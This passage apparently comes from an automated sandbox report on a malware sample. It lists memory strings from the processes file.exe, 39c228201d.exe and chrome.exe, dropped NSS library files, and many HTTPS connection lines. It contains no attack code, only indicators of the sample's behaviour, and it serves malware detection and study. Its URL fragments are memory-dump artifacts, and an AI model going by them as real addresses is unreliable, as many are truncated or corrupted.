Source: chrome.exe, 00000013.00000002.3172202358.00007D0C00710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000013.00000002.3163737742.00007D0C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000013.00000002.3172339678.00007D0C00720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167289607.00007D0C004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186873758.00007D0C00C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000013.00000002.3172339678.00007D0C00720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167289607.00007D0C004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186873758.00007D0C00C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: 39c228201d.exe, 00000011.00000003.2832479234.00000000054F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 39c228201d.exe, 00000011.00000003.2896369262.0000000005577000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 39c228201d.exe, 00000011.00000003.2896369262.0000000005577000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2008667730.000000002371B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000002.2130548114.0000000000BE4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1864893120.000000001D39D000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2867006301.00000000054A7000.00000004.00000800.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2832479234.00000000054F3000.00000004.00000800.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2867735358.00000000054A7000.00000004.00000800.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2832594144.00000000054A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 39c228201d.exe, 00000011.00000003.2832594144.0000000005482000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000002.2130548114.0000000000BE4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1864893120.000000001D39D000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2867006301.00000000054A7000.00000004.00000800.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2832479234.00000000054F3000.00000004.00000800.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2867735358.00000000054A7000.00000004.00000800.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2832594144.00000000054A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 39c228201d.exe, 00000011.00000003.2832594144.0000000005482000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: file.exe, 00000000.00000002.2130548114.0000000000BE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: chrome.exe, 00000013.00000002.3180021641.00007D0C00A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000013.00000002.3163737742.00007D0C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 39c228201d.exe, 00000011.00000003.2831765157.000000000549B000.00000004.00000800.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2831892590.0000000005499000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000013.00000002.3186101163.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2918464134.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2922124317.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000013.00000002.3186101163.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2918464134.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2922124317.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000013.00000002.3186101163.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2918464134.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2922124317.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chrome.exe, 00000013.00000002.3169222131.00007D0C005AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3179831419.00007D0C009A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000013.00000002.3171083113.00007D0C006A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3180063988.00007D0C00A20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2921963680.00007D0C00C8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2918431641.00007D0C00C8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000013.00000002.3174230468.00007D0C0078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186914030.00007D0C00C64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000013.00000002.3246139117.00007D0C00F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186873758.00007D0C00C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000013.00000002.3246139117.00007D0C00F04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2l
Source: chrome.exe, 00000013.00000002.3249584188.00007D0C01188000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3246099583.00007D0C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925667216.00007D0C00EE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Source: chrome.exe, 00000013.00000002.3246099583.00007D0C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925667216.00007D0C00EE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0c
Source: chrome.exe, 00000013.00000002.3184264492.00007D0C00B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000013.00000002.3163737742.00007D0C001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3174426261.00007D0C007EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3246401449.00007D0C00FA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3177244885.00007D0C00900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000013.00000002.3163737742.00007D0C001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3174426261.00007D0C007EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3246401449.00007D0C00FA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3177244885.00007D0C00900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000013.00000002.3189413637.00007D0C00DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=
Source: chrome.exe, 00000013.00000002.3169172162.00007D0C00568000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167486165.00007D0C004F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000013.00000002.3173491123.00007D0C00734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoenterInsights
Source: chrome.exe, 00000013.00000003.2926507014.00007D0C0120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000013.00000002.3167289607.00007D0C004B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000013.00000002.3180063988.00007D0C00A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000013.00000002.3086512851.00007D0C0001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3169521782.00007D0C0062C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186766909.00007D0C00C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000013.00000002.3186766909.00007D0C00C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/n
Source: chrome.exe, 00000013.00000002.3167289607.00007D0C004B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: file.exe, 00000000.00000002.2130548114.0000000000CC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 39c228201d.exe, 00000011.00000003.2896369262.0000000005577000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.2130548114.0000000000CC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2130548114.0000000000CC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 39c228201d.exe, 00000011.00000003.2896369262.0000000005577000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2130548114.0000000000CC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2008667730.000000002371B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2896369262.0000000005577000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 39c228201d.exe, 00000011.00000003.2896369262.0000000005577000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2130548114.0000000000CC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2008667730.000000002371B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2896369262.0000000005577000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2130548114.0000000000CC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3164298825.00007D0C002C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
